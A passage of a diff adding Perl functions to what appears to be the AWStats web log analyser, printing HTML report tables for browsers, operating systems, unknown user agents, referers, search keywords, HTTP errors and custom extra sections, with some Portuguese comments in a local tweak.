"<td>".Format_Number($_browser_p{$key})."</td><td>$p_p</td>"; + print "<td>".Format_Number($_browser_h{$key})."</td><td>$p_h</td>"; + print "<td class=\"aws\">"; + + # alt and title are not provided to reduce page size + if ($ShowBrowsersStats) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />"; + print +"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; + } + print "</td>"; + print "</tr>\n"; + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Unknown Browser Detail frame or static page +# Parameters: $NewLinkTarget +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowBrowserUnknown{ + my $NewLinkTarget = shift; + print "$Center<a name=\"unknownbrowser\"> </a><br />\n"; + my $title = "$Message[50]"; + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title = "$title - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=UNKNOWNREFERERBROWSER&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + &tab_head( "$title", 19, 0, 'unknownbrowser' ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent (" + . ( scalar keys %_unknownrefererbrowser_l ) + . ")</th><th>$Message[9]</th></tr>\n"; + my $total_l = 0; + my $count = 0; + &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownrefererbrowser_l, + \%_unknownrefererbrowser_l ); + foreach my $key (@keylist) { + my $useragent = XMLEncode( CleanXSS($key) ); + print + "<tr><td class=\"aws\">$useragent</td><td nowrap=\"nowrap\">" + . Format_Date( $_unknownrefererbrowser_l{$key}, 1 ) + . "</td></tr>\n"; + $total_l += 1; + $count++; + } + my $rest_l = ( scalar keys %_unknownrefererbrowser_l ) - $total_l; + if ( $rest_l > 0 ) { + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + print "<td>-</td>"; + print "</tr>\n"; + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the OS Detail frame or static page +# Parameters: _ +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowOSDetail{ + # Show os versions + print "$Center<a name=\"osversions\"> </a><br />"; + my $title = "$Message[59]"; + &tab_head( "$title", 19, 0, 'osversions' ); + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[58]</th>"; + print +"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; + print +"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; + print "</tr>\n"; + my $total_h = 0; + my $total_p = 0; + my $count = 0; + &BuildKeyList( MinimumButNoZero( scalar keys %_os_h, 500 ), + 1, \%_os_h, \%_os_p ); + my %keysinkeylist = (); + my $max_h = 1; + my $max_p = 1; + + # Count total by family + my %totalfamily_h = (); + my %totalfamily_p = (); + my $TotalFamily_h = 0; + my $TotalFamily_p = 0; + OSLOOP: foreach my $key (@keylist) { + $total_h += $_os_h{$key}; + $total_p += $_os_p{$key}; + if ( $_os_h{$key} > $max_h ) { $max_h = $_os_h{$key}; } + if ( $_os_p{$key} > $max_p ) { $max_p = $_os_p{$key}; } + foreach my $family ( keys %OSFamily ) { + if ( $key =~ /^$family/i ) { + $totalfamily_h{$family} += $_os_h{$key}; + $totalfamily_p{$family} += $_os_p{$key}; + $TotalFamily_h += $_os_h{$key}; + $TotalFamily_p += $_os_p{$key}; + next OSLOOP; + } + } + } + + # Write records grouped in a browser family + foreach my $family ( keys %OSFamily ) { + my $p_h = ' '; + my $p_p = ' '; + if ($total_h) { + $p_h = int( $totalfamily_h{$family} / $total_h * 1000 ) / 10; + $p_h = "$p_h %"; + } + if ($total_p) { + $p_p = int( $totalfamily_p{$family} / $total_p * 1000 ) / 10; + $p_p = "$p_p %"; + } + my $familyheadershown = 0; + foreach my $key ( reverse sort keys %_os_h ) { + if ( $key =~ /^$family(.*)/i ) { + if ( !$familyheadershown ) { + my $family_name = ''; + if ( $OSFamily{$family} ) { + $family_name = $OSFamily{$family}; + } + print +"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$family_name</b></td>"; + print "<td><b>" + . Format_Number(int( $totalfamily_p{$family} )) + . "</b></td><td><b>$p_p</b></td>"; + print "<td><b>" + . Format_Number(int( $totalfamily_h{$family} )) + . "</b></td><td><b>$p_h</b></td><td> </td>"; + print "</tr>\n"; + $familyheadershown = 1; + } + $keysinkeylist{$key} = 1; + my $ver = $1; + my $p_h = ' '; + my $p_p = ' '; + if ($total_h) { + $p_h = int( $_os_h{$key} / $total_h * 1000 ) / 10; + $p_h = "$p_h %"; + } + if ($total_p) { + $p_p = int( $_os_p{$key} / $total_p * 1000 ) / 10; + $p_p = "$p_p %"; + } + print "<tr>"; + print "<td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/os\/$key.png\"" + . AltTitle("") + . " /></td>"; + + print "<td class=\"aws\">$OSHashLib{$key}</td>"; + my $bredde_h = 0; + my $bredde_p = 0; + if ( $max_h > 0 ) { + $bredde_h = + int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h ) + + 1; + } + if ( ( $bredde_h == 1 ) && $_os_h{$key} ) { + $bredde_h = 2; + } + if ( $max_p > 0 ) { + $bredde_p = + int( $BarWidth * ( $_os_p{$key} || 0 ) / $max_p ) + + 1; + } + if ( ( $bredde_p == 1 ) && $_os_p{$key} ) { + $bredde_p = 2; + } + print "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td>"; + print "<td>".Format_Number($_os_h{$key})."</td><td>$p_h</td>"; + print "<td class=\"aws\">"; + + # alt and title are not provided to reduce page size + if ($ShowOSStats) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />"; + print +"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; + } + print "</td>"; + print "</tr>\n"; + $count++; + } + } + } + + # Write other records + my $familyheadershown = 0; + foreach my $key (@keylist) { + if ( $keysinkeylist{$key} ) { next; } + if ( !$familyheadershown ) { + my $p_h = ' '; + my $p_p = ' '; + if ($total_h) { + $p_h = + int( ( $total_h - $TotalFamily_h ) / $total_h * 1000 ) / + 10; + $p_h = "$p_h %"; + } + if ($total_p) { + $p_p = + int( ( $total_p - $TotalFamily_p ) / $total_p * 1000 ) / + 10; + $p_p = "$p_p %"; + } + print +"<tr bgcolor=\"#F6F6F6\"><td class=\"aws\" colspan=\"2\"><b>$Message[2]</b></td>"; + print "<td><b>" + . Format_Number(( $total_p - $TotalFamily_p )) + . "</b></td><td><b>$p_p</b></td>"; + print "<td><b>" + . Format_Number(( $total_h - $TotalFamily_h )) + . "</b></td><td><b>$p_h</b></td><td> </td>"; + print "</tr>\n"; + $familyheadershown = 1; + } + my $p_h = ' '; + my $p_p = ' '; + if ($total_h) { + $p_h = int( $_os_h{$key} / $total_h * 1000 ) / 10; + $p_h = "$p_h %"; + } + if ($total_p) { + $p_p = int( $_os_p{$key} / $total_p * 1000 ) / 10; + $p_p = "$p_p %"; + } + print "<tr>"; + if ( $key eq 'Unknown' ) { + print "<td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/browser\/unknown.png\"" + . AltTitle("") + . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>"; + } + else { + my $keywithoutcumul = $key; + $keywithoutcumul =~ s/cumul$//i; + my $libos = $OSHashLib{$keywithoutcumul} + || $keywithoutcumul; + my $nameicon = $keywithoutcumul; + $nameicon =~ s/[^\w]//g; + print "<td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/os\/$nameicon.png\"" + . AltTitle("") + . " /></td><td class=\"aws\">$libos</td>"; + } + my $bredde_h = 0; + my $bredde_p = 0; + if ( $max_h > 0 ) { + $bredde_h = + int( $BarWidth * ( $_os_h{$key} || 0 ) / $max_h ) + 1; + } + if ( ( $bredde_h == 1 ) && $_os_h{$key} ) { $bredde_h = 2; } + if ( $max_p > 0 ) { + $bredde_p = + int( $BarWidth * ( $_os_p{$key} || 0 ) / $max_p ) + 1; + } + if ( ( $bredde_p == 1 ) && $_os_p{$key} ) { $bredde_p = 2; } + print "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td>"; + print "<td>".Format_Number($_os_h{$key})."</td><td>$p_h</td>"; + print "<td class=\"aws\">"; + + # alt and title are not provided to reduce page size + if ($ShowOSStats) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\" /><br />"; + print +"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\" /><br />"; + } + print "</td>"; + print "</tr>\n"; + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Unkown OS Detail frame or static page +# Parameters: $NewLinkTarget +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowOSUnknown{ + my $NewLinkTarget = shift; + print "$Center<a name=\"unknownos\"> </a><br />\n"; + my $title = "$Message[46]"; + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title = "$title - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=UNKNOWNREFERER&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + &tab_head( "$title", 19, 0, 'unknownos' ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent (" + . ( scalar keys %_unknownreferer_l ) + . ")</th><th>$Message[9]</th></tr>\n"; + my $total_l = 0; + my $count = 0; + &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownreferer_l, + \%_unknownreferer_l ); + foreach my $key (@keylist) { + my $useragent = XMLEncode( CleanXSS($key) ); + print "<tr><td class=\"aws\">$useragent</td>"; + print "<td nowrap=\"nowrap\">" + . Format_Date( $_unknownreferer_l{$key}, 1 ) . "</td>"; + print "</tr>\n"; + $total_l += 1; + $count++; + } + my $rest_l = ( scalar keys %_unknownreferer_l ) - $total_l; + if ( $rest_l > 0 ) { + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + print "<td>-</td>"; + print "</tr>\n"; + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Referers frame or static page +# Parameters: $NewLinkTarget +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowReferers{ + my $NewLinkTarget = shift; + print "$Center<a name=\"refererse\"> </a><br />\n"; + my $title = "$Message[40]"; + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title = "$title - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=SEREFERRALS&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + &tab_head( $title, 19, 0, 'refererse' ); + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentSearchEngines)." $Message[122]</th>"; + print +"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; + print +"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; + print "</tr>\n"; + my $total_s = 0; + my $total_p = 0; + my $total_h = 0; + my $rest_p = 0; + my $rest_h = 0; + my $count = 0; + &BuildKeyList( + $MaxRowsInHTMLOutput, + $MinHit{'Refer'}, + \%_se_referrals_h, + ( + ( scalar keys %_se_referrals_p ) + ? \%_se_referrals_p + : \%_se_referrals_h + ) + ); # before 5.4 only hits were recorded + + foreach my $key (@keylist) { + my $newreferer = $SearchEnginesHashLib{$key} || CleanXSS($key); + my $p_p; + my $p_h; + if ($TotalSearchEnginesPages) { + $p_p = + int( $_se_referrals_p{$key} / $TotalSearchEnginesPages * + 1000 ) / 10; + } + if ($TotalSearchEnginesHits) { + $p_h = + int( $_se_referrals_h{$key} / $TotalSearchEnginesHits * + 1000 ) / 10; + } + print "<tr><td class=\"aws\">$newreferer</td>"; + print "<td>" + . ( + $_se_referrals_p{$key} ? $_se_referrals_p{$key} : ' ' ) + . "</td>"; + print "<td>" + . ( $_se_referrals_p{$key} ? "$p_p %" : ' ' ) . "</td>"; + print "<td>".Format_Number($_se_referrals_h{$key})."</td>"; + print "<td>$p_h %</td>"; + print "</tr>\n"; + $total_p += $_se_referrals_p{$key}; + $total_h += $_se_referrals_h{$key}; + $count++; + } + if ($Debug) { + debug( +"Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h", + 2 + ); + } + $rest_p = $TotalSearchEnginesPages - $total_p; + $rest_h = $TotalSearchEnginesHits - $total_h; + if ( $rest_p > 0 || $rest_h > 0 ) { + my $p_p; + my $p_h; + if ($TotalSearchEnginesPages) { + $p_p = + int( $rest_p / $TotalSearchEnginesPages * 1000 ) / 10; + } + if ($TotalSearchEnginesHits) { + $p_h = int( $rest_h / $TotalSearchEnginesHits * 1000 ) / 10; + } + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + print "<td>" . ( $rest_p ? Format_Number($rest_p) : ' ' ) . "</td>"; + print "<td>" . ( $rest_p ? "$p_p %" : ' ' ) . "</td>"; + print "<td>".Format_Number($rest_h)."</td>"; + print "<td>$p_h %</td>"; + print "</tr>\n"; + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Referer Pages frame or static page +# Parameters: $NewLinkTarget +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowRefererPages{ + my $NewLinkTarget = shift; + print "$Center<a name=\"refererpages\"> </a><br />\n"; + my $total_p = 0; + my $total_h = 0; + my $rest_p = 0; + my $rest_h = 0; + + # Show filter form + &HTMLShowFormFilter( + "refererpagesfilter", + $FilterIn{'refererpages'}, + $FilterEx{'refererpages'} + ); + my $title = "$Message[41]"; + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title = "$title - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=PAGEREFS&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + my $cpt = 0; + $cpt = ( scalar keys %_pagesrefs_h ); + &tab_head( "$title", 19, 0, 'refererpages' ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"; + if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) { + + if ( $FilterIn{'refererpages'} ) { + print "$Message[79] <b>$FilterIn{'refererpages'}</b>"; + } + if ( $FilterIn{'refererpages'} && $FilterEx{'refererpages'} ) { + print " - "; + } + if ( $FilterEx{'refererpages'} ) { + print + "Exclude $Message[79] <b>$FilterEx{'refererpages'}</b>"; + } + if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) { + print ": "; + } + print "$cpt $Message[28]"; + + #if ($MonthRequired ne 'all') { + # if ($HTMLOutput{'refererpages'}) { print "<br />$Message[102]: $TotalDifferentPages $Message[28]"; } + #} + } + else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; } + print "</th>"; + print +"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; + print +"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; + print "</tr>\n"; + my $total_s = 0; + my $count = 0; + &BuildKeyList( + $MaxRowsInHTMLOutput, + $MinHit{'Refer'}, + \%_pagesrefs_h, + ( + ( scalar keys %_pagesrefs_p ) + ? \%_pagesrefs_p + : \%_pagesrefs_h + ) + ); + + foreach my $key (@keylist) { + my $nompage = CleanXSS($key); + if ( length($nompage) > $MaxLengthOfShownURL ) { + $nompage = + substr( $nompage, 0, $MaxLengthOfShownURL ) . "..."; + } + my $p_p; + my $p_h; + if ($TotalRefererPages) { + $p_p = + int( $_pagesrefs_p{$key} / $TotalRefererPages * 1000 ) / + 10; + } + if ($TotalRefererHits) { + $p_h = + int( $_pagesrefs_h{$key} / $TotalRefererHits * 1000 ) / + 10; + } + print "<tr><td class=\"aws\">"; + &HTMLShowURLInfo($key); + print "</td>"; + print "<td>" + . ( $_pagesrefs_p{$key} ? Format_Number($_pagesrefs_p{$key}) : ' ' ) + . "</td><td>" + . ( $_pagesrefs_p{$key} ? "$p_p %" : ' ' ) . "</td>"; + print "<td>" + . ( $_pagesrefs_h{$key} ? Format_Number($_pagesrefs_h{$key}) : ' ' ) + . "</td><td>" + . ( $_pagesrefs_h{$key} ? "$p_h %" : ' ' ) . "</td>"; + print "</tr>\n"; + $total_p += $_pagesrefs_p{$key}; + $total_h += $_pagesrefs_h{$key}; + $count++; + } + if ($Debug) { + debug( +"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h", + 2 + ); + } + $rest_p = $TotalRefererPages - $total_p; + $rest_h = $TotalRefererHits - $total_h; + if ( $rest_p > 0 || $rest_h > 0 ) { + my $p_p; + my $p_h; + if ($TotalRefererPages) { + $p_p = int( $rest_p / $TotalRefererPages * 1000 ) / 10; + } + if ($TotalRefererHits) { + $p_h = int( $rest_h / $TotalRefererHits * 1000 ) / 10; + } + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + print "<td>" . ( $rest_p ? Format_Number($rest_p) : ' ' ) . "</td>"; + print "<td>" . ( $rest_p ? "$p_p %" : ' ' ) . "</td>"; + print "<td>".Format_Number($rest_h)."</td>"; + print "<td>$p_h %</td>"; + print "</tr>\n"; + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Key Phrases frame or static page +# Parameters: $NewLinkTarget +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowKeyPhrases{ + my $NewLinkTarget = shift; + print "$Center<a name=\"keyphrases\"> </a><br />\n"; + my $title = "$Message[43]"; + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title = "$title - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=SEARCHWORDS&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + &tab_head( $title, 19, 0, 'keyphrases' ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"" + . Tooltip(15) + . "><th>".Format_Number($TotalDifferentKeyphrases)." $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; + my $total_s = 0; + my $count = 0; + &BuildKeyList( + $MaxRowsInHTMLOutput, $MinHit{'Keyphrase'}, + \%_keyphrases, \%_keyphrases + ); + foreach my $key (@keylist) { + my $mot; + # Convert coded keywords (utf8,...) to be correctly reported in HTML page. + if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) { + $mot = CleanXSS( + DecodeKey_decodeutfkeys( + $key, $PageCode || 'iso-8859-1' + ) + ); + } + else { $mot = CleanXSS( DecodeEncodedString($key) ); } + my $p; + if ($TotalKeyphrases) { + $p = + int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10; + } + print "<tr><td class=\"aws\">" + . XMLEncode($mot) + . "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n"; + $total_s += $_keyphrases{$key}; + $count++; + } + if ($Debug) { + debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 ); + } + my $rest_s = $TotalKeyphrases - $total_s; + if ( $rest_s > 0 ) { + my $p; + if ($TotalKeyphrases) { + $p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10; + } + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>".Format_Number($rest_s)."</td>"; + print "<td>$p %</td></tr>\n"; + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Keywords frame or static page +# Parameters: $NewLinkTarget +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowKeywords{ + my $NewLinkTarget = shift; + print "$Center<a name=\"keywords\"> </a><br />\n"; + my $title = "$Message[44]"; + if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title = "$title - <a href=\"" . (XMLEncode( + "$AddLinkToExternalCGIWrapper" . "?section=KEYWORDS&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + &tab_head( $title, 19, 0, 'keywords' ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"" + . Tooltip(15) + . "><th>".Format_Number($TotalDifferentKeywords)." $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n"; + my $total_s = 0; + my $count = 0; + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Keyword'}, + \%_keywords, \%_keywords ); + foreach my $key (@keylist) { + my $mot; + # Convert coded keywords (utf8,...) to be correctly reported in HTML page. + if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) { + $mot = CleanXSS( + DecodeKey_decodeutfkeys( + $key, $PageCode || 'iso-8859-1' + ) + ); + } + else { $mot = CleanXSS( DecodeEncodedString($key) ); } + my $p; + if ($TotalKeywords) { + $p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10; + } + print "<tr><td class=\"aws\">" + . XMLEncode($mot) + . "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n"; + $total_s += $_keywords{$key}; + $count++; + } + if ($Debug) { + debug( "Total real / shown : $TotalKeywords / $total_s", 2 ); + } + my $rest_s = $TotalKeywords - $total_s; + if ( $rest_s > 0 ) { + my $p; + if ($TotalKeywords) { + $p = int( $rest_s / $TotalKeywords * 1000 ) / 10; + } + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>".Format_Number($rest_s)."</td>"; + print "<td>$p %</td></tr>\n"; + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the HTTP Error code frame or static page +# Parameters: $code - the error code we're printing +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowErrorCodes{ + my $code = shift; + print "$Center<a name=\"errors$code\"> </a><br />\n"; + &tab_head( $Message[47], 19, 0, "errors$code" ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>URL (" + . Format_Number(( scalar keys %_sider404_h )) + . ")</th><th bgcolor=\"#$color_h\">$Message[49]</th><th>$Message[23]</th></tr>\n"; + my $total_h = 0; + my $count = 0; + &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_sider404_h, + \%_sider404_h ); + foreach my $key (@keylist) { + my $nompage = XMLEncode( CleanXSS($key) ); + + #if (length($nompage)>$MaxLengthOfShownURL) { $nompage=substr($nompage,0,$MaxLengthOfShownURL)."..."; } + my $referer = XMLEncode( CleanXSS( $_referer404_h{$key} ) ); + print "<tr><td class=\"aws\">$nompage</td>"; + print "<td>".Format_Number($_sider404_h{$key})."</td>"; + print "<td class=\"aws\">" + . ( $referer ? "$referer" : " " ) . "</td>"; + print "</tr>\n"; + my $total_s += $_sider404_h{$key}; + $count++; + } + +# TODO Build TotalErrorHits +# if ($Debug) { debug("Total real / shown : $TotalErrorHits / $total_h",2); } +# $rest_h=$TotalErrorHits-$total_h; +# if ($rest_h > 0) { +# my $p; +# if ($TotalErrorHits) { $p=int($rest_h/$TotalErrorHits*1000)/10; } +# print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td>"; +# print "<td>$rest_h</td>"; +# print "<td>...</td>"; +# print "</tr>\n"; +# } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Loops through any defined extra sections and dumps the info to HTML +# Parameters: _ +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowExtraSections{ + foreach my $extranum ( 1 .. @ExtraName - 1 ) { + my $total_p = 0; + my $total_h = 0; + my $total_k = 0; + + if ( $HTMLOutput{"allextra$extranum"} ) { + if ($Debug) { debug( "ExtraName$extranum", 2 ); } + print "$Center<a name=\"extra$extranum\"> </a><br />"; + my $title = $ExtraName[$extranum]; + &tab_head( "$title", 19, 0, "extra$extranum" ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; + foreach my $extracol ( 1 .. @{ $ExtraColumnTitle[$extranum] } - 1 ) { + print "<th>" . $ExtraColumnTitle[$extranum][$extracol] . "</th>"; + } + + if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { + print +"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { + print +"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { + print +"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { + print "<th>$Message[169]</th>"; # <th width=\"120\"> + } + print "</tr>\n"; + $total_p = $total_h = $total_k = 0; + + #$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } } + #$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } } + my $count = 0; + if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { + &BuildKeyList( + $MaxRowsInHTMLOutput, + $MinHitExtra[$extranum], + \%{ '_section_' . $extranum . '_l' }, + \%{ '_section_' . $extranum . '_l' } + ); + } + else { + &BuildKeyList( + $MaxRowsInHTMLOutput, + $MinHitExtra[$extranum], + \%{ '_section_' . $extranum . '_l' }, + \%{ '_section_' . $extranum . '_l' } + ); + } + my %keysinkeylist = (); + foreach my $key (@keylist) { + $keysinkeylist{$key} = 1; + my $firstcol = CleanXSS( DecodeEncodedString($key) ); + $total_p += ${ '_section_' . $extranum . '_p' }{$key}; + $total_h += ${ '_section_' . $extranum . '_h' }{$key}; + $total_k += ${ '_section_' . $extranum . '_k' }{$key}; + print "<tr>"; + my @col = split(/\./, $firstcol); + foreach my $extracol ( 1 .. @{ $ExtraColumnTitle[$extranum] } - 1 ) { # MUDAR + my $result = sprintf( + "$ExtraColumnFormat[$extranum][$extracol]", # <td class=\"aws\"> sem center-align + $col[$extracol-1], $col[$extracol-1], $col[$extracol-1], $col[$extracol-1], $col[$extracol-1] ); + if (length($result) > 50 ) { + print "<td class='prev' id='$result' style=\"color:blue;\"><u> dados da query </u></td>"; + } else { + print "<td>$result</td>"; + } + } + if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { + print "<td>" + . ${ '_section_' . $extranum . '_p' }{$key} . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { + print "<td>" + . ${ '_section_' . $extranum . '_h' }{$key} . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { + print "<td>" + . Format_Bytes( + ${ '_section_' . $extranum . '_k' }{$key} ) + . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { + print "<td>" + . ( + ${ '_section_' . $extranum . '_l' }{$key} + ? Format_Date( + ${ '_section_' . $extranum . '_l' }{$key}, 1 ) + : '-' + ) + . "</td>"; + } + print "</tr>\n"; + $count++; + } + + # If we ask average or sum, we loop on all other records + if ( $ExtraAddAverageRow[$extranum] + || $ExtraAddSumRow[$extranum] ) + { + foreach ( keys %{ '_section_' . $extranum . '_h' } ) { + if ( $keysinkeylist{$_} ) { next; } + $total_p += ${ '_section_' . $extranum . '_p' }{$_}; + $total_h += ${ '_section_' . $extranum . '_h' }{$_}; + $total_k += ${ '_section_' . $extranum . '_k' }{$_}; + $count++; + } + } + + # Add average row + if ( $ExtraAddAverageRow[$extranum] ) { + print "<tr>"; + print "<td class=\"aws\"><b>$Message[96]</b></td>"; + if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { + print "<td>" + . ( $count ? Format_Number(( $total_p / $count )) : " " ) + . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { + print "<td>" + . ( $count ? Format_Number(( $total_h / $count )) : " " ) + . 